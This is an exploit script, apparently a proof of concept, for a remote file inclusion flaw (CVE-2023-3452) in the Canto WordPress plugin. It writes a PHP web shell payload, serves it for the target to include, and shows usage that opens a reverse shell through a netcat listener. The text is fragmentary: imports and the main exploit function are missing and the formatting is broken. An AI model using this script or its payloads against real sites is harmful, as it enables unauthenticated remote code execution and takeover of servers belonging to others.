#PoC Notes:
#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:
#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...
#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.
# More information in Leoanggal1's Github
# Define the default web shell
default_web_shell = "<?php system($_GET['cmd']); ?>"
def create_admin_file(local_dir, local_shell=None):
if not os.path.exists(local_dir):
os.makedirs(local_dir)
# If a local shell is provided, use it; otherwise, use the default web shell
if local_shell:
with open(f"{local_dir}/admin.php", "wb") as admin_file:
with open(local_shell, "rb") as original_file:
admin_file.write(original_file.read())
else:
with open(f"{local_dir}/admin.php", "w") as admin_file:
admin_file.write(default_web_shell)
- Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
'''
parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("-u", "--url", required=True, default=None, help="Vulnerable URL")
parser.add_argument("-s", "--shell", help="Local file for web shell")
parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP")
parser.add_argument("-LPORT", "--local_port", help="Local web server port")
parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target")
parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat")
try:
args = parser.parse_args()
if args.local_port is None:
args.local_port = 8080 # Valor predeterminado si LPORT no se proporciona
exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port)